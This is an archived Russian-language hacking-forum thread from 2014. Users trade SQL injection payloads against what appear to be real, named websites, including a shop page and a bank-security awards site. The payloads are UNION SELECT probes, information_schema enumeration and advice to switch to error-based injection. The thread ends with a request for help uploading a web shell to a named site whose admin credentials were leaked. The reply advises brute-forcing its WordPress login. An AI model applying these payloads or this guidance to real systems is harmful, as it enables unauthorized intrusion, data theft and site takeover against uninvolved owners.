ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
14.08.2014, 23:39
|
|
Guest
Сообщений: n/a
Провел на форуме:
12164
Репутация:
1
|
|
И еще вопрос (Простите нуба, только учусь, вопросов миллион)
Кручю скулю:
/shop.php?cid=34+union+select+1,2,3,4,5--
ошибка The used SELECT statements have a different number of columns
/shop.php?cid=34+union+select+1,2,3,4,5,6--
ошибка -
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/totalbha/public_html/shop/index.php on line 32
error in counting subcategory data :-The used SELECT statements have a different number of columns
При увеличении опять пишет, что неверное кол-во колонок. В чем ошибка и как ее обойти?
|
|
|
|
14.08.2014, 23:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
12774
Репутация:
12
|
|
Сообщение от billybonse
billybonse said:
И еще вопрос (Простите нуба, только учусь, вопросов миллион)
Кручю скулю:
/shop.php?cid=34+union+select+1,2,3,4,5--
ошибка The used SELECT statements have a different number of columns
/shop.php?cid=34+union+select+1,2,3,4,5,6--
ошибка -
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/totalbha/public_html/shop/index.php on line 32
error in counting subcategory data :-The used SELECT statements have a different number of columns
При увеличении опять пишет, что неверное кол-во колонок. В чем ошибка и как ее обойти?
Попробуй перебрать через order+by
|
|
|
|
15.08.2014, 00:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
12164
Репутация:
1
|
|
вообще безпонтово. ошибка
Error in fetching category data :-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union order by 20-- and status='yes' order by id DESC limit 0,8' at line 1
и по увеличению...
|
|
|
|
15.08.2014, 00:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
12774
Репутация:
12
|
|
Сообщение от billybonse
billybonse said:
вообще безпонтово. ошибка
Error in fetching category data :-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union order by 20-- and status='yes' order by id DESC limit 0,8' at line 1
и по увеличению...
А минус ставить не пробовал??
|
|
|
|
15.08.2014, 00:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
12164
Репутация:
1
|
|
пробовал. та же хрень.
|
|
|
|
15.08.2014, 21:09
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от MaxFast
MaxFast said:
Может быть, конечно, криво использовал select и подзапросы, но всё равно ответ был 404.
Код:
Code:
http://www.awards.ib-bank.ru/participant/-1'+union+select+1,2,3,4,5,6,7,8,9,10+--+
В общем вот инъекция сама. Тут вывод полей как видно.
Я первый раз сталкиваюсь с этим.
Конечно это может быть и WAF'ом, которому и комментарии нипочем (Всё-таки сайт посвящён ИБ банков). http://www.awards.ib-bank.ru/participant/-1'+union+select+1,2,3,4,5,6,7,table_name,9,10+from +information_schema%252etables+--+
Фильтруется точка
Сообщение от billybonse
billybonse said:
вообще безпонтово. ошибка
Error in fetching category data :-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union order by 20-- and status='yes' order by id DESC limit 0,8' at line 1
и по увеличению...
Через error based крути
|
|
|
15.08.2014, 23:38
|
|
Guest
Сообщений: n/a
Провел на форуме:
114076
Репутация:
54
|
|
Сообщение от None
такая же фигня, когда ставлю точку.
Ошибка синтаксиса - это ошибка синтаксиса, проверяйте запрос.
Сообщение от billybonse
billybonse said:
И еще вопрос (Простите нуба, только учусь, вопросов миллион)
Кручю скулю:
/shop.php?cid=34+union+select+1,2,3,4,5--
ошибка The used SELECT statements have a different number of columns
/shop.php?cid=34+union+select+1,2,3,4,5,6--
ошибка -
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/totalbha/public_html/shop/index.php on line 32
error in counting subcategory data :-The used SELECT statements have a different number of columns
При увеличении опять пишет, что неверное кол-во колонок. В чем ошибка и как ее обойти?
В коде два или более запросов подряд с разным числом колонок. Вы подбираете к первому запросу нужное количество, но оно не подходит к следующим. Крутите другие векторы, к примеру уже упомянутый error-based.
|
|
|
|
17.08.2014, 14:55
|
|
Guest
Сообщений: n/a
Провел на форуме:
12164
Репутация:
1
|
|
Спасибо, попробую.
|
|
|
|
17.08.2014, 20:20
|
|
Новичок
Регистрация: 13.04.2010
Сообщений: 0
Провел на форуме:
173
Репутация:
0
|
|
Привет. Нашел сайт может не я один наверное)) у него есть sql уязвимость через который доступна логин пасс админа. Но под админом не могу залить шелл подскажите как быть. вот оно http://www.planetsmag.com/index.php?issueid=63 .
|
|
|
|
17.08.2014, 23:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от Satd
Satd said:
Привет. Нашел сайт может не я один наверное)) у него есть sql уязвимость через который доступна логин пасс админа. Но под админом не могу залить шелл подскажите как быть. вот оно http://www.planetsmag.com/index.php?issueid=63 .
там ворд пресс есть, брутишь пасс и заливаешся
|
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Комбинированный вид